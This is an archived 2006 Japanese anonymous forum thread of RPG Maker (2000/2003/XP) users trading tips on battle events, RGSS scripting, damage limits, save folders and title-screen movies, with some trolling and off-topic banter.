2006/10/20(金) 18:25:39ID:63i93Ugv特技の基本効果量を低く設定して、C150%とかの魔法属性を付加すれば、
通常攻撃が基準のダメージが与えられるんじゃないか?
0179名前は開発中のものです。
2006/10/20(金) 19:28:24ID:c2iNmZu00180名前は開発中のものです。
2006/10/20(金) 19:50:48ID:tg4zgrwa2000と違って属性の係数をマイナス%に設定できたり、多少拡張もされてたような気がする。
気になるなら体験版弄ってみればわかるんじゃない?
0181名前は開発中のものです。
2006/10/21(土) 12:11:21ID:Q5FmEMAv自作戦闘じゃないとそれ以上はいかないんですか?
(連続攻撃で999連発はなしで)
0182名前は開発中のものです。
2006/10/21(土) 12:12:20ID:/q57FJGk0183タナ栗粉 ◆8Tdr0tD9Mk
2006/10/21(土) 12:21:51ID:1NYub5Bg0184名前は開発中のものです。
2006/10/21(土) 12:22:58ID:Q5FmEMAvそうか〜やっぱり自作しかないか・・・
0185名前は開発中のものです。
2006/10/21(土) 12:31:40ID:/q57FJGkその範囲でバランス取れば良いんじゃないの?「数値がデカイ=面白い」って訳じゃないし。
HP5000の敵に2500のダメージが出る戦闘にしたいならHP2000の敵に999ダメージの戦闘でも
さほど違いは無いし。
0186名前は開発中のものです。
2006/10/21(土) 12:36:22ID:AxjxE0VXどんなものが作りたいかは作者が決めることです。
0187名前は開発中のものです。
2006/10/21(土) 13:29:15ID:dNVmCtrGプリントいれれ
んでドコまで処理してるか、ドコが処理してないか確認せい
ソレがいやならあきらめれ
0188タナ栗粉
2006/10/21(土) 13:54:39ID:1NYub5Bg0189名前は開発中のものです。
2006/10/21(土) 14:40:50ID:u0XCeZlt0190名前は開発中のものです。
2006/10/21(土) 15:02:18ID:1NYub5Bg0191名前は開発中のものです。
2006/10/21(土) 15:14:25ID:hnvtQqLY作りたいのと作れるのは違うわけだが。
0192名前は開発中のものです。
2006/10/21(土) 15:22:27ID:u0XCeZlt他人が「4桁必要ない」だなんて水差す必要はないかと。
0193名前は開発中のものです。
2006/10/21(土) 15:57:28ID:g8FN/DgJ95で作るのも古くて嫌だしな・・・
0194名前は開発中のものです。
2006/10/21(土) 16:09:39ID:/q57FJGk検討した方が良いかなと思って。
攻撃、防御、逃走、特殊技能あって状態変化や5段階の影響をもつ属性を組み込んだ、
味方最大4人VS敵最大10体、協力防御、二刀流などのオプションとバトルイベントも
結構組み込める戦闘を組む労力が無いというメリットと、4桁のダメージが出ると言うメリットを
天秤にかけてみて好きな方を取ればいいと思うよ。
0195名前は開発中のものです。
2006/10/21(土) 17:41:29ID:1NYub5Bg0196名前は開発中のものです。
2006/10/21(土) 17:42:57ID:UCMgjFiB0197名前は開発中のものです。
2006/10/21(土) 17:52:29ID:EvY78T2a今ツクール開いてチラッと見てみたけど、バトルイベントって何?
戦闘中にイベントとかできるの?
0198名前は開発中のものです。
2006/10/21(土) 17:58:49ID:UCMgjFiB0199名前は開発中のものです。
2006/10/21(土) 18:08:09ID:EvY78T2a確かにデフォ戦の可能性は感じるな。
でも敵グループすべてに設定するの、半端じゃなくめんどくさそうだ。
0200タナ栗粉
2006/10/21(土) 18:12:20ID:1NYub5Bg0201名前は開発中のものです。
2006/10/21(土) 18:13:25ID:/q57FJGk最初にゲームのデザインを煮詰めておいて共通したバトルイベント雛型を作って
それをコピーしてモンスターグループを作るのがセオリーよ。
あとからボスとか固有のイベントだけ追加する感じでやればそんなに手間じゃないよ。
0202名前は開発中のものです。
2006/10/21(土) 18:19:15ID:EvY78T2aそういう意味では自作のほうがまだ楽に思えるよ。
0203名前は開発中のものです。
2006/10/21(土) 18:28:25ID:UCMgjFiB0204タナ栗粉
2006/10/21(土) 19:01:04ID:1NYub5Bg0206名前は開発中のものです。
2006/10/21(土) 20:48:32ID:QKpVmAVVコピペして自分の作品に流用できるよ
バトルイベントはなにより編集しにくくてツライ
編集ウィンドウが狭すぎる!
0207名前は開発中のものです。
2006/10/21(土) 21:14:27ID:/q57FJGkあれは2003で編集して2000に貼り付けると出来るんだわさ。
ただ、戦闘中使えないイベントを呼び出すとエラーが起こるから注意しないといかん。
実は普段バトルイベントじゃつかえないイベントでもコモンから呼び出すと戦闘中に動く奴もある。
戦闘中のみ全部に反映されるバトルコモンみたいなのがあれば良かったのにね。
0208タナ栗粉
2006/10/21(土) 21:18:53ID:1NYub5Bg0209名前は開発中のものです。
2006/10/22(日) 02:11:27ID:HupOm6B+キー入力の処理とか使えるのは大きいね
シフトキー押しっぱなしで自動戦闘とかできるし
0210名前は開発中のものです。
2006/10/22(日) 16:15:22ID:rRDKkYouていうか、それで作ったのを配布してるサイトすらまともに見つからない
もうね、ほんと困る
0211名前は開発中のものです。
2006/10/22(日) 16:52:32ID:Q1TEO7Lfイベントの最後にスイッチAをオンにする処理を入れ、
もうひとつページを作って、出現条件をスイッチAがオンにして
グラフィックに何も設定しないイベントをつくりました
こうすると、たしかに見た目上はイベントが消えるのですが、
消滅後も、そのイベントが置かれた場所を主人公が通行することができません
出現条件を指定していない透明グラフィックのイベントの上は通行できるのですが、
このようなイベントでは通行できません
どうなってるんでしょうか?
0212名前は開発中のものです。
2006/10/22(日) 17:12:31ID:WjOIeveBどっちにしても凡ミスのような気が。
0213タナ栗粉
2006/10/22(日) 17:42:24ID:oMS/zwnEアイテム設定 ステータス設定 敵ステータス設定 武器 防具 戦闘アニメ
すべての準備は整った あとは造だけ ふふ もうすぐだ 楽しみにしてろよお前等
0214名前は開発中のものです。
2006/10/22(日) 17:48:16ID:7WPSXwpt条件分岐じゃなくイベントのページを使ってスイッチが入ったときは2ページ目になるようにして
そちらは透明で「通常キャラの下」にしておけば簡単だよ。
0215名前は開発中のものです。
2006/10/22(日) 18:03:00ID:Q1TEO7Lf0216タナ栗粉
2006/10/23(月) 17:43:44ID:/gentXf6殺すぞ
0217名前は開発中のものです。
2006/10/23(月) 17:52:52ID:yY06jPct2000が使いやすいとか聞いたんだが・・・
0218名前は開発中のものです。
2006/10/23(月) 18:06:33ID:y7V7VIK+スペック的には低くて軽い。お手軽。
がんばって自作戦闘とか作って超オレ好みの作りたいぜ!
って気持ちがあるなら、XPがお勧め。
スペック的は高くて重い。自由自在。
ちなみにRGSSは、ゲームプログラミングの中ではお手軽な部類よ。
たぶんHSPに比べてもお手軽だなぁ。
0219名前は開発中のものです。
2006/10/23(月) 18:09:55ID:SZ/Ij331XPは何もしなくても作れるけど目玉であるRGSSエディタを素材サイトからコピーして使うにせよ
HP作成ソフトを使わず自分で調べてある程度メモ帳でHTMLをいじれるくらいの事が出来る人でいと
色々不都合がおこるよ。
XPはこんな人にお勧め
・簡単なプログラムがすでに理解できる、またそう言ったことに対してやる気があり自分で勉強できる人。
・CGを自分で描けてそれをゲームに使いたい人、高解像度で色数制限が無い綺麗なCGを表示可能。
・音楽を自分で作れてそれをゲームに使いたい人、DirectX音源のMidiやoggフォーマット採用で綺麗な音色。
・どうみてもツクール2000の機能ではあき足らない人。
・各作業パートを専門に出来る仲間がいる人。
・ゲームの内部を見られるのが絶対に嫌な人(暗号化機能がありエディタで開けないようにできる)
2000はこんな人にお勧め
・プログラムなどに触れずに気楽に作りたい人。
・自作素材は作らず、多くのフリー素材を使って作る人。
・FCやSFC時代のレトロな調子の画面が好きな人。
・お話や世界観、キャラが表現できれば戦闘システムに固執せず妥協できる人。
・他人のゲームの参考に作りたい人。(暗号化が無いので他人のゲームを開く事が可能。)
0220名前は開発中のものです。
2006/10/23(月) 20:22:54ID:j1LHEZ4J君のような人のための体験版だ。
0221タナ栗粉 ◆8Tdr0tD9Mk
2006/10/23(月) 20:53:31ID:mZL+KK4Z┓(´._ゝ`)┏
0222タナ栗粉 ◆8Tdr0tD9Mk
2006/10/23(月) 21:21:27ID:mZL+KK4Z0223名前は開発中のものです。
2006/10/23(月) 22:05:34ID:yY06jPctありがとう
プログラムはVBが出来る程度だけどXPで大丈夫かな?
体験版の存在は忘れてた。少し触ってみるね
0224名前は開発中のものです。
2006/10/24(火) 00:01:15ID:vJLoR8Ab0225名前は開発中のものです。
2006/10/24(火) 02:15:32ID:tvcQkLvEVB出来るならたぶん超余裕。
心配ならまずRuby(簡単に言うとRGSSはRubyにゲーム用ライブラリをくっつけたモノ)を
いじってみれ。オブジェクト指向でちょっとクセがある。
問題は、Rubyに馴染むとVBなんか触りたくもなくなるってことだw
いやマジ、ハマると「他の言語触りたくなくなる病」が出る。
あとは体験版で、その重さも体験してみてくれ。
0226名前は開発中のものです。
2006/10/24(火) 02:45:00ID:lFcMw3Zc0227名前は開発中のものです。
2006/10/24(火) 02:46:30ID:lFcMw3Zc0228タナ栗粉
2006/10/24(火) 11:00:19ID:7R+PxOJMそれにしてもXPのデフォのショボさはツクール1だよな
0229名前は開発中のものです。
2006/10/24(火) 11:20:04ID:r47as8HT2003はデフォ戦でも何をやると不味いか良く理解してバランスを取ればそれはそれで融通は利くよ
以前ゲージのたまる速度を4倍にするEXEが配布された事があってそうするとかなり快適だった、
バグ以上にアクティブにした時にゲージ速度の設定が失敗だったような気がする。
実はパッチ導入済み2000でさえ仕様の範囲でも功名心を出しすぎてバトルイベントであることをやると
止まってしまったり、モノが消失したり、パラメーターの数値に異常が起こるバグが未だになるそうだ、
ただ普通の人はあまりやらないことだから話題にならないけど、偶然が重なるとすごい事になる。
あとは格ツクでもなんか画面端である一定の複雑な処理が行われるとキャラが動かなくなるバグが
未だに直してもらえない。
XPはRGSSで何とかできるけど、デフォだと裸の時の攻撃と防御力の問題とか基本的にツクールは
バグ無いって言うのはほとんど無いみたいよ。
それに触らないよう上手に作るのも今や技術の一つみたいなw
2003は触らないように避ける物が多めで難しいだけと思えばやりがいもあるかもね。
0230名前は開発中のものです。
2006/10/24(火) 11:56:11ID:2oMrkWr70231名前は開発中のものです。
2006/10/24(火) 12:02:01ID:r47as8HTしかし多かれ少なかれどのツクールにもバグはあるんで上手に付き合って行く方法が肝心と、
2003でコンパク金賞とか取る人もいますし、確かにそういう作品はなまじの2000やXP作品より
不満は少ないし良く出来てるしね。
0232名前は開発中のものです。
2006/10/24(火) 13:46:43ID:tvcQkLvEそりゃ金賞取るような出来なんだから、なまじの作品より出来が良くて当たり前だな。
2003だから金賞を取れたってわけではあるまい。問題はどう作るかだべ。
カスタム性でXPに軍配が上がり、
お手軽さで2000VALUE(2000じゃなく)に軍配が上がる現状で、
じゃあ2003はどこがいいのかって話になるんじゃねーの?
0233名前は開発中のものです。
2006/10/24(火) 13:54:54ID:r47as8HT2003で良いゲームを作ってる人は以外にデフォ戦にバトルイベントを駆使してる人が多いんだよね。
2000と同等の動作感覚とRGSSや素材作りの手間は少なく2000以上の拡張性、つまり使い方次第だから
2003を執拗に避ける必要も無いと言う事、デフォ戦以外では2003は2000に負ける部分なんて無いでしょ。
0234名前は開発中のものです。
2006/10/24(火) 14:09:43ID:tvcQkLvEつーか、負ける部分じゃなくて、勝つ部分はどこかって話。
負けないまでも勝てない2003、という評価になってないかしら?
2000に比べればカスタム性が高くて、
XPに比べれば軽快、と考えていいんだろーか?
0235名前は開発中のものです。
2006/10/24(火) 14:33:05ID:r47as8HT1番気軽に作れるツールと言う点、これはXP、2000両方から見て絶対的な優位点。
2000に比べて転職システムやバトルイベントでのコモンの呼び出しなど全体的に融通が利き、
自作戦闘においては使えるキーの多さなどから2000を凌駕している。
2000の軽さと2000を超える拡張性を備えた2003は自作戦闘や無理してアクションRPGなどを
ある種やや変わったものを作るには1番良いツールなんだよ、アクションRPGなんかはXPだと
重くなりがちで中々上手くいかない。
あとは結果論でしかないが、使ってる人が少ないから機能の範囲で丁寧に仕上げただけでも
それなりに個性的にはなる。 RGSSが出来ない、素材が作れない人でも頑張れば個性的な
作品作りが狙いやすい点は野心をくすぐられる要素だと思う。
2003に2000のデフォ戦システムとXPのセルフスイッチが付いたツクールがあれば初めて使う人には
絶対的にお薦めなんだけどなw
0236名前は開発中のものです。
2006/10/24(火) 16:44:29ID:TOo2nNEi0237名前は開発中のものです。
2006/10/24(火) 16:47:49ID:UTUNrIkt0238名前は開発中のものです。
2006/10/24(火) 17:22:01ID:nXn3am7L2000VALUEは1500円くらいで買えたんだけどなー
0239名前は開発中のものです。
2006/10/24(火) 17:35:36ID:e28O/+jG0240名前は開発中のものです。
2006/10/24(火) 19:01:45ID:Rr/9J0QAサウンド自作 ・・・2%くらい
0241名前は開発中のものです。
2006/10/24(火) 19:31:44ID:r47as8HT何よりツクール買っても短編のネタゲーくらいしか作らないで終わっちゃったり
結局何も完成しない人が8割以上らしいから、200Xの自作戦闘は極わずかだろうな。
コンパクとかだと自作戦闘多いけどね。
>>240
グラフィックって言ってもシスグラ1つ作っても自作は自作だけど普通に
「これは自分で描いた絵が入ってるな」ってわかる範囲なら10作に1作も無いだろう。
完成品の中で5%未満じゃないかね? 音に関しては1%以下だと思う。
0242名前は開発中のものです。
2006/10/24(火) 19:54:38ID:jB3tWoMS0243名前は開発中のものです。
2006/10/24(火) 19:59:05ID:rMnMEySeジョイパッドに対応していないのであまり嬉しくないな
あとデータベースメニューに職業とか戦闘アニメ2とかの項目が増えたためスクロールさせる必要がある
自作戦闘を作る場合それらは全く必要がないわけだが、わざわざスクロールさせる作業が鬱陶しい
0244名前は開発中のものです。
2006/10/24(火) 21:29:26ID:AZRlMR/g「game」のコンテンツに飛んでダウンロードしてみてくださーい。
http://www.geocities.jp/taopaipai_314/top.html
0245名前は開発中のものです。
2006/10/24(火) 22:57:30ID:ZAylPyLh0246タナ栗粉 ◆8Tdr0tD9Mk
2006/10/25(水) 12:56:59ID:1L6/85X/にぼ、ぼくのげーむのキャラのとかゲームの設定とか写メでUPしたから、よ、よかったら、み、み、見てね(*^_^*)
0247名前は開発中のものです。
2006/10/25(水) 16:36:17ID:AYvazphM0248名前は開発中のものです。
2006/10/25(水) 16:38:08ID:mLItlVxi0249タナ栗粉
2006/10/25(水) 17:05:15ID:1L6/85X/0250名前は開発中のものです。
2006/10/25(水) 17:37:09ID:mXOZLdYg0251タナ栗粉
2006/10/25(水) 18:38:26ID:1L6/85X/0252名前は開発中のものです。
2006/10/25(水) 18:44:33ID:/5Fff/o20253名前は開発中のものです。
2006/10/25(水) 19:07:53ID:Vip8QjuQ「ドルアーガの塔」っぽい迷路の中で右or左周りで勝手に動く敵キャラを
作りたいんですが、行動パターンの組み方をどうしていいものか?なので
ご教授頂けませんか?
0254名前は開発中のものです。
2006/10/25(水) 19:15:04ID:zLh2v35j0255名前は開発中のものです。
2006/10/25(水) 19:18:53ID:zLh2v35j右に20移動、下に15移動、左に20移動、上に15移動にして繰り返し処理させれば良いんじゃないの?
0256タナ栗粉
2006/10/25(水) 19:23:04ID:1L6/85X/0257名前は開発中のものです。
2006/10/25(水) 19:25:30ID:cySAT5q9釣りだろ、どう考えても。そこまでバカじゃあるまい。
0258タナ栗粉
2006/10/25(水) 19:32:47ID:1L6/85X/ちがう?
0259名前は開発中のものです。
2006/10/25(水) 19:38:59ID:mXOZLdYg0260タナ栗粉
2006/10/25(水) 19:44:05ID:1L6/85X/0261名前は開発中のものです。
2006/10/25(水) 19:51:01ID:SjdKwp0A0262タナ栗粉
2006/10/25(水) 20:05:41ID:1L6/85X/詳しく説明していただけると助かります
つうか釣りとか言ってるやつ。釣りたいからって、わざわざ画像公開に写メなんかつかわねえよ!
0264名前は開発中のものです。
2006/10/25(水) 20:20:27ID:SjdKwp0Aというわけで俺が説明する。
Print Screen キーってのはな、画面をあqwせdrftgyふじこlp;うわー何をするやめfg67つyひjgggftvyぐh
たすけてくれ >>266
0265名前は開発中のものです。
2006/10/25(水) 20:23:29ID:zLh2v35j0266名前は開発中のものです。
2006/10/25(水) 20:28:58ID:IdnLI/e7PRinT SCreen な。
あったら、ゲーム起動して撮りたい場面でALT+PRTSCを押す。
そしたら次はペイント起動してCTRL+V、もしくは貼り付けを行う。
以上。
0267タナ栗粉
2006/10/25(水) 20:46:51ID:1L6/85X/0268名前は開発中のものです。
2006/10/25(水) 21:03:23ID:QLgXa8Ct空気読め、チンカス野郎が。
0269タナ栗粉
2006/10/25(水) 21:21:08ID:1L6/85X/0270名前は開発中のものです。
2006/10/25(水) 21:22:10ID:bM8sQ2GYついでにRegSeeker入れとけ。アメリカ製のツールなのがアレだが。
いらんレジストリを検索・削除してPCの動作を軽くしてくれる。 ツクールXP使ってるならもっさり解消できるぞ。
ttp://fileforum.betanews.com/detail/RegSeeker/1035382760/1
0271タナ栗粉
2006/10/25(水) 21:30:22ID:1L6/85X/軽くなるとどうなんの?
0272名前は開発中のものです。
2006/10/25(水) 21:33:24ID:SjdKwp0Aついでに2ちゃんねる専用ブラウザ入れとけ。2ちゃん製のツールなのがアレだが。
いらんタナ厨を検索・あぼーんしてスレの動作を軽くしてくれる。 普通のウェブブラウザ使ってる2ちゃんねらーならもっさり解消できるぞ。
0273名前は開発中のものです。
2006/10/25(水) 21:36:24ID:bM8sQ2GY製作作業がスムーズになる。処理落ちせずに済む。
ま、入れといて損はない。RGSS多用するなら尚更な。
>>272
Live2ch使ってるお。まぁ、見ててくれ。
0274タナ栗粉
2006/10/26(木) 07:36:13ID:toAbc18OところでFF7のエアリスの曲やバハムートラグーンのヨヨの曲みたいに感動場面に入れられるようないい曲しらない?もちろんフリー素材で
0275名前は開発中のものです。
2006/10/26(木) 08:17:22ID:GOV/XFZORGSSは結構弄れるんだが。
0276名前は開発中のものです。
2006/10/26(木) 08:17:38ID:wOdkj3iM0278名前は開発中のものです。
2006/10/26(木) 09:32:32ID:mBSPFwB1>>218-220
この質問多いからテンプレ作った方が良いかも。
0279名前は開発中のものです。
2006/10/26(木) 12:36:38ID:RK+HVQrx自分で探す努力もしないのか?
0280タナ栗粉
2006/10/26(木) 13:44:59ID:toAbc18Oだって(>_<)
0281名前は開発中のものです。
2006/10/26(木) 13:48:47ID:W7Tze5oj0282名前は開発中のものです。
2006/10/26(木) 14:01:59ID:mMF5Zshfゲームによってはマイドキュメントにセーブ用のフォルダが作られる時があるけど、何が違うの?
0283タナ栗粉
2006/10/26(木) 17:20:29ID:toAbc18O┓(´._ゝ`)┏
0284名前は開発中のものです。
2006/10/26(木) 17:28:02ID:mBSPFwB1そのフォルダが読取専用(書き込み禁止属性)の場合マイドキュメントにセーブされるよ。
ゲームをCDに焼いて直接そこから起動したりすればやはり書き込めないのでそうなるしね、
エラーが出ないで自動的にマイドキュメントの方に書き込むのは良くて来てると思ったな。
0285名前は開発中のものです。
2006/10/26(木) 17:35:30ID:hSgRw4iN0286名前は開発中のものです。
2006/10/26(木) 17:38:50ID:mBSPFwB1上書きされちゃうんだろうか?急に心配になってきた。
0287タナ栗粉
2006/10/26(木) 18:41:03ID:toAbc18O0288名前は開発中のものです。
2006/10/26(木) 21:34:30ID:Cmu0eJxEツクール2000において戦闘中の特殊技能などのコマンドから、主人公キャラをパワーアップさせることは可能でしょうか?
単に攻撃力や防御力の増加のみではなく、属性耐性、状態異常耐性、特技も変化させるといったどちらかというと転職に近い感じです。
わかりやすい?例えで言うなら、サモンナイト3の抜剣覚醒や、マイナーですが和風RPGのONIシリーズの転身のようなシステムをつくりたいのです。
戦闘中のメンバーの入れ替えをできる限りプレイヤーの任意で行えるようなシステムの制作は2000では不可能でしょうか??
0289名前は開発中のものです。
2006/10/26(木) 21:49:15ID:mBSPFwB1攻撃力や防御力の増加、属性耐性の強化までは普通の強化魔法で可能
初めての人にはやや面倒だけど戦闘中プレイヤーの任意でキャラの入れ替えも特殊技能を
スイッチ技にしてバトルイベントを使えば可能。
0290名前は開発中のものです。
2006/10/26(木) 22:53:03ID:vP6TmYvZ0291名前は開発中のものです。
2006/10/27(金) 00:42:35ID:0hWWAfm5ということはやはり作成したら敵グループひとつずつににコピーする必要があるということでしょうか??
ネシェフェルですか・・・参考にさせていただきます!!
0292名前は開発中のものです。
2006/10/27(金) 00:55:40ID:b+1rnh+V特技欄にスイッチでバトルイベント呼び出し特技を作る
特技変えたいなら「覚える・忘れる」
攻撃力や耐性変えたいなら「装備変更」
状態異常に「覚醒」とか作っとけば見目も良い
ONIっぽいのなら、素直に別主人公データーベースで作成し入れ替えだが、
他のバトルイベントとの折り合いが悪い
もう遅いか
0293名前は開発中のものです。
2006/10/27(金) 01:17:48ID:0hWWAfm5ありがとうございます!!
確かにキャラ替えするよりそちらの方が簡単ですし無難そうですね!
しかも「覚醒」ってかっこいいですね。
いろいろ試してみます!!
0294名前は開発中のものです。
2006/10/27(金) 05:04:02ID:a6sCTbNr0295名前は開発中のものです。
2006/10/27(金) 10:20:17ID:nH2KU9xB0296タナ栗粉
2006/10/27(金) 12:35:08ID:OEepMRcj0297名前は開発中のものです。
2006/10/27(金) 13:07:25ID:sy7c9kadバージョンが1.5以上じゃなきゃ無理
0298名前は開発中のものです。
2006/10/27(金) 19:06:54ID:FvGjZdjAそれに、一定のアイテムを持ってると特別な職業につける<例えば3の悟りの書みたいな>ゃうにするにはどうすればいい?
0299名前は開発中のものです。
2006/10/27(金) 19:11:37ID:GxND08weあるアイテムを持ってるかどうか調べれば?
0300名前は開発中のものです。
2006/10/27(金) 19:12:11ID:FvGjZdjA0301名前は開発中のものです。
2006/10/27(金) 19:13:42ID:FvGjZdjA確かにそうだ。アイテムを監視をイベントに組み込みゃ言い訳だな。
助かった。
0302名前は開発中のものです。
2006/10/27(金) 19:14:29ID:FvGjZdjA0303名前は開発中のものです。
2006/10/27(金) 19:50:52ID:GxND08weつーかマジでそこがわからなかったのか>>301
そのやり方がわかんねーんだよ、ってツッコまれようと思ってたのにw
0304名前は開発中のものです。
2006/10/27(金) 22:12:45ID:FvGjZdjA0305名前は開発中のものです。
2006/10/27(金) 23:13:41ID:6bV1987R0306名前は開発中のものです。
2006/10/27(金) 23:30:54ID:yAU75vNvそんな質問で良し悪しを決められるほど単純な物かな?
0307名前は開発中のものです。
2006/10/27(金) 23:48:24ID:O16t/ozf戦略性はSRPGってトコじゃないかな?
ボス戦ならともかく、ルーチンワークな戦闘にいちいち気張ってるのも
疲れるし何かと面倒だと思う
ロードス島みたいなイベントクリアで大量の経験値が入るスタイルを
上手にオミットするなら戦略性重視戦闘も可能かと思うけど?
例えばゼルダみたいなシンボルエンカウントだと要所のダンジョン攻略って
形ならシナリオ次第で面白くなるかと
でもDQやFFみたいなランダムエンカウントのスタイルのRPGだと
はっきり言って作業量だけが増してひたすら疲れるだけじゃないかな?
0308名前は開発中のものです。
2006/10/27(金) 23:56:53ID:FLHmPOpC戦略性を深くするとプレイヤーの思考時間は長くなるだろうけど
トロくてもっさりする演出を取り入れる必要は皆無
0309名前は開発中のものです。
2006/10/28(土) 00:00:40ID:6bV1987R0310名前は開発中のものです。
2006/10/28(土) 00:07:36ID:VGjPAAEd私は専ら遊ぶ側なのですが、最近遊ぼうとすると
ゲーム画面が何もしていないのに最小化されてしまいます。
ボタンを押せば最小化され、ほうっておいても3秒ごとくらいに最小化。
誰か、この症状の原因と対策、知っている方いましたら教えてください。
0311名前は開発中のものです。
2006/10/28(土) 00:20:22ID:7UPuf6Wy初めて聞く症例だけど、2000、2003、XP?
あと、どのゲームでも均等に起こるのかな?
ゲームをWindow状態して遊んでも起こるかな?
恐らくは2000か2003のゲームで全画面表示のときに起こるんじゃないだろうか?
もしそうなら、何らかのプログラムが君の知らないところで起動してアクティブになっている
それも3秒おきくらいに。
常駐プログラムやサービス等の中に自分のインストールした記憶の無いものが混じっていないか
まずはチェックを。
0312名前は開発中のものです。
2006/10/28(土) 00:53:05ID:VGjPAAEdおお、どうもありがとうございます!
タスクマネージャーで心当たりのないものをどんどん消して言ったら戻りました!
常駐プログラムは盲点でした。(いや、はじめに気づくべきだった…)
とりあえず、あとで原因のプログラムを捜して見ます。
アドバイス、ありがとうございました。
ちなみにバクったのは2003でした。おっしゃるとおり、全画面表示です。
0313名前は開発中のものです。
2006/10/28(土) 06:12:45ID:kNBm0JN5戦闘に参加していない控えのメンバーにも経験値を半分与えることは出来ますか?
0314名前は開発中のものです。
2006/10/28(土) 07:08:47ID:hf0X96XD0315名前は開発中のものです。
2006/10/28(土) 14:18:30ID:iKj1YDWa0316名前は開発中のものです。
2006/10/28(土) 14:39:52ID:suGbMaAI職業ごとに装備の制限をかけるにはどうすればいい?
0317名前は開発中のものです。
2006/10/28(土) 14:55:31ID:1cZqPrOH1.装備できるタイプ分だけキャラを作る
2.自作メニュー画面を作って、そこから装備させる
3.お前の質問の仕方が気に食わない
0318名前は開発中のものです。
2006/10/28(土) 15:06:23ID:7UPuf6Wyこれじゃ答えようが無い。
0319名前は開発中のものです。
2006/10/28(土) 17:36:39ID:DuYBmfYMPC版のツクールを始めようかと思うのですが
PSツクール3のようなフィールドマップはありますか?
もしくは作ることは可能ですかね?
0320名前は開発中のものです。
2006/10/28(土) 19:02:33ID:iKj1YDWa0321名前は開発中のものです。
2006/10/28(土) 19:05:23ID:IP3t31DH無いけど再現する事は可能
>>320
F4
0322名前は開発中のものです。
2006/10/28(土) 21:10:27ID:O/qYYCBP0323名前は開発中のものです。
2006/10/28(土) 21:57:15ID:/XRuyQMR実は現在作っている章の前の章のデータで
MAPを毎回0001に移動させてセーブさせてそこから次の章にリンクさせているのですが
それを忘れて0026でセーブをさせてしまって引継げる状態じゃなくなってしまいました
とりあえず現在作っている章0026にいつも0001に働かせている役割のイベントを入れてみたのですが
うまくいきません
なぜか「無効な主人公が指定されました」とのエラーが出ます
考えられそうな箇所をいじってみたのですがかなりデータベースをいじってからTPをはじめたので
さっぱりミスっている箇所が分かりません
本当に困っています
誰か助けてください
0324323
2006/10/28(土) 22:46:36ID:/XRuyQMR0325名前は開発中のものです。
2006/10/29(日) 00:14:11ID:rdWhChFHRPGツクール95のセーブデータ改造するツールって存在するのでしょうか?
0326名前は開発中のものです。
2006/10/29(日) 02:21:22ID:+Vn3MZlV0327名前は開発中のものです。
2006/10/29(日) 12:05:45ID:PnimaIxL0328名前は開発中のものです。
2006/10/29(日) 13:03:46ID:YAWIsQ5d0329名前は開発中のものです。
2006/10/29(日) 13:10:57ID:h02CodCEべつに今更下げる必要なんか無いけどな、業者なんて下がってても来るし
こんな過疎板にほとんど来ないしな。
0330名前は開発中のものです。
2006/10/29(日) 17:30:16ID:hI+lIUZa0331名前は開発中のものです。
2006/10/29(日) 17:43:50ID:h02CodCEファイトクラブ見てないんだよな、酔拳って日本版は最後の方が実はカットされていて、
工業用のメチルアルコールを飲むと視神経がやられて失明してしまう事があるんだけど、
ジャッキーが最後に見えない目が見えないって言い出すしゃれにならないオチがあるんだ。
ブルースリーなら燃えよドラゴンよりは死亡遊戯が好きだな。
あえて3つの中ならファイトクラブ見ていないから酔拳と答えるしかない。
格闘技アクションものならOnly The Strong が1番面白かった。
0332名前は開発中のものです。
2006/10/29(日) 17:52:20ID:hI+lIUZa>ジャッキーが最後に見えない目が見えないって言い出すしゃれにならないオチがあるんだ。
そうだっけ?国宝を持ち出そうとした奴をやっつけて盛り上がってる時に
ジャッキーが失明した上、頭もあぼーんなっちゃって
∩___∩
| ノ ヽ/⌒) あばばばばばば
/⌒) (゚) (゚) | .|
/ / ( _●_) ミ/ ∩―−、
.( ヽ |∪| / / (゚) 、_ `ヽ
\ ヽノ / / ( ● (゚) |つ
/ / | /(入__ノ ミ あばばっあびゃばびゃばば
| / 、 (_/ ノ
| /\ \ \___ ノ゙ ─ー
| / ) ) \ _
∪ ( \ \ \
\_)
みたいな感じだった気がするんだが
0333名前は開発中のものです。
2006/10/29(日) 18:17:26ID:h02CodCEそうそう、あれ見えないとか言ってるけど酔ってへベレケになって半笑いで
周りに居る人もヨッパライのたわごとみたいな感じで捕らえて気が付いていない感じで
見ようによってはかなりやばい笑えないオチだったよ。
自分が好きって言ったのはそこが部分がカットされた日本版のやつね。
0334名前は開発中のものです。
2006/10/29(日) 20:56:19ID:Q+WO22qg0335名前は開発中のものです。
2006/10/29(日) 21:02:13ID:2PYabi9zとりあえずツクールXPとライブメーカー使ってみているのですが、
これって、最初に出てくる「ニューゲーム・コンティニュー・シャットダウン」
という表示の前に動画は挟めないのでしょうか?
0336名前は開発中のものです。
2006/10/29(日) 21:58:47ID:DG8/qTIw自分で画像を連続表示するしかない。
0337名前は開発中のものです。
2006/10/29(日) 22:01:10ID:h02CodCE0338名前は開発中のものです。
2006/10/29(日) 22:04:54ID:DG8/qTIw0339名前は開発中のものです。
2006/10/29(日) 23:21:42ID:h02CodCEスタートメニュが表示されその前のムービーなんて挟めないが?
0340名前は開発中のものです。
2006/10/29(日) 23:47:06ID:4Luy9+rUこないだPC大破してお気に入りデータも全部消えたから解らんが。
知ってる人いたら書いてくれると嬉しい。
2000は最初のタイトルメニュー前はいじれない。
XPなら動画再生のスクリプト+タイトル前にロゴ表示するスクリプトの応用でいけるんじゃないかな。
ただ、動画再生のスクリプトは未だ未完成(?)みたいで動作不安定だった。
0341名前は開発中のものです。
2006/10/30(月) 00:47:18ID:eQN4OeVw0342名前は開発中のものです。
2006/10/30(月) 00:49:17ID:64NRt2K8XPの話だろ。
XPならいくらでも何とでも書ける。動画再生はまず無理だけど。
タイトル前になにかを表示したかったら、
一番シンプルな解決策はシーンクラスを自作して、
mainセクションでそいつを最初に呼び出すようにするだけだな。
0343名前は開発中のものです。
2006/10/30(月) 00:55:17ID:eQN4OeVwとあるからそれの配布スクリプトが存在していて特定できないと無理だろうし
XPには動画ファイルを再生する機能も無いし、そのスクリプトも完成した話はまだ聞いていないから。
0344名前は開発中のものです。
2006/10/30(月) 07:28:05ID:VYRnvh+2http://philis.littlestar.jp/RPGXP/
RPGツクールXPスレッド ver0.02
http://game10.2ch.net/test/read.cgi/gameama/1110637697/629
http://72.14.253.104/search?q=cache:v-S-SwMN_c0J:game10.2ch.net/test/read.cgi/gameama/1110637697/629+while+Time.now+-+st+%3C+movie_sec&hl=ja&ct=clnk&cd=1&lr=lang_ja
